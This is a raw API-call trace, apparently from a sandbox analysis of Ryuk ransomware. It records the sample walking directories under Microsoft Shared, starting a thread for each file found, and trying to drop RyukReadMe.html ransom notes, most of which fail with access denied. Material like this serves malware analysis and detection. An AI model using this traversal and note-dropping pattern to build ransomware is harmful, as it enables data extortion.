	[0167.294] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.294] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc548c67c, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc548c67c, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4529f927, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xe42, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Tanspecks.jpg", cAlternateFileName="")) returned 1
	[0167.295] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc
	[0167.297] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.298] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54b27d9, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54b27d9, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x121e, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Tiki.gif", cAlternateFileName="")) returned 1
	[0167.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e0
	[0167.412] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.413] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc535bb94, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc535bb94, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x4573c389, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x6860, dwReserved0=0x7c, dwReserved1=0x0, cFileName="To_Do_List.emf", cAlternateFileName="")) returned 1
	[0167.413] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.414] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e4
	[0167.415] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.416] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc54fea93, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc54fea93, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457ae7a3, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xc60, dwReserved0=0x7c, dwReserved1=0x0, cFileName="White_Chocolate.jpg", cAlternateFileName="")) returned 1
	[0167.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5e8
	[0167.419] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.420] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 1
	[0167.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.421] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5ec
	[0167.423] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.424] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5524bf0, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0xc5524bf0, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x457faa5f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x3ad7, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Wrinkled_Paper.gif", cAlternateFileName="")) returned 0
	[0167.424] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0167.859] SetLastError (dwErrCode=0x0) 
	[0167.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.860] GetLastError () returned 0x5
	[0167.860] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0167.860] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.860] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="TextConv", cAlternateFileName="")) returned 1
	[0167.860] SetLastError (dwErrCode=0x0) 
	[0167.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.861] GetLastError () returned 0x5
	[0167.861] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0167.861] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0167.863] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xcf4f23c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xcf4f23c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.863] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0167.863] SetLastError (dwErrCode=0x0) 
	[0167.863] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.864] GetLastError () returned 0x5
	[0167.864] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0167.864] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.864] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0167.864] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.864] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ecb743, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0167.865] FindClose (in: hFindFile=0x7c690 | out: hFindFile=0x7c690) returned 1
	[0167.865] SetLastError (dwErrCode=0x0) 
	[0167.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\en-US\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.865] GetLastError () returned 0x5
	[0167.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0167.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.866] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xcf518520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x23d78, dwReserved0=0x7c, dwReserved1=0x0, cFileName="MSCONV97.DLL", cAlternateFileName="")) returned 1
	[0167.866] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1aeaee00, ftCreationTime.dwHighDateTime=0x1ca9122, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1aeaee00, ftLastWriteTime.dwHighDateTime=0x1ca9122, nFileSizeHigh=0x0, nFileSizeLow=0x8f68, dwReserved0=0x7c, dwReserved1=0x0, cFileName="RECOVR32.CNV", cAlternateFileName="")) returned 1
	[0167.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f0
	[0167.868] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.869] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f938f00, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f938f00, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0xdfa0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="Wks9Pxy.cnv", cAlternateFileName="")) returned 1
	[0167.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f4
	[0167.871] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.872] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56ce200, ftCreationTime.dwHighDateTime=0x1cbd856, ftLastAccessTime.dwLowDateTime=0xc226ea20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56ce200, ftLastWriteTime.dwHighDateTime=0x1cbd856, nFileSizeHigh=0x0, nFileSizeLow=0x30170, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPFT532.CNV", cAlternateFileName="")) returned 1
	[0167.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.873] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8
	[0167.874] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.875] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 1
	[0167.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5fc
	[0167.877] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.878] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e16af00, ftCreationTime.dwHighDateTime=0x1cbae03, ftLastAccessTime.dwLowDateTime=0xc2294b80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x3e16af00, ftLastWriteTime.dwHighDateTime=0x1cbae03, nFileSizeHigh=0x0, nFileSizeLow=0x46b70, dwReserved0=0x7c, dwReserved1=0x0, cFileName="WPFT632.CNV", cAlternateFileName="")) returned 0
	[0167.878] FindClose (in: hFindFile=0x7bfd0 | out: hFindFile=0x7bfd0) returned 1
	[0167.878] SetLastError (dwErrCode=0x0) 
	[0167.878] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TextConv\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\textconv\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.879] GetLastError () returned 0x5
	[0167.879] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0167.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.879] FindNextFileW (in: hFindFile=0x7bf70, lpFindFileData=0x218d240 | out: lpFindFileData=0x218d240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5a, dwReserved1=0x0, cFileName="THEMES14", cAlternateFileName="")) returned 1
	[0167.879] SetLastError (dwErrCode=0x0) 
	[0167.879] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.879] GetLastError () returned 0x5
	[0167.880] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218d188, lpOverlapped=0x0) returned 0
	[0167.880] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.880] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*.*", lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7bfd0
	[0167.886] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.888] FindNextFileW (in: hFindFile=0x7bfd0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1
	[0167.888] SetLastError (dwErrCode=0x0) 
	[0167.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0167.888] GetLastError () returned 0x5
	[0167.888] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0167.888] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0167.888] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c690
	[0167.889] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0167.889] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdad6ec00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdad6ec00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe58e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AFTRNOON.ELM", cAlternateFileName="")) returned 1
	[0167.889] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604
	[0167.891] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.892] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86e63000, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x512f1610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x86e63000, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="AFTRNOON.INF", cAlternateFileName="")) returned 1
	[0167.892] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.893] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x608
	[0167.894] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.894] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85b50300, ftCreationTime.dwHighDateTime=0x1c43125, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x85b50300, ftLastWriteTime.dwHighDateTime=0x1c43125, nFileSizeHigh=0x0, nFileSizeLow=0x621, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0167.894] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0167.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x60c
	[0167.994] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
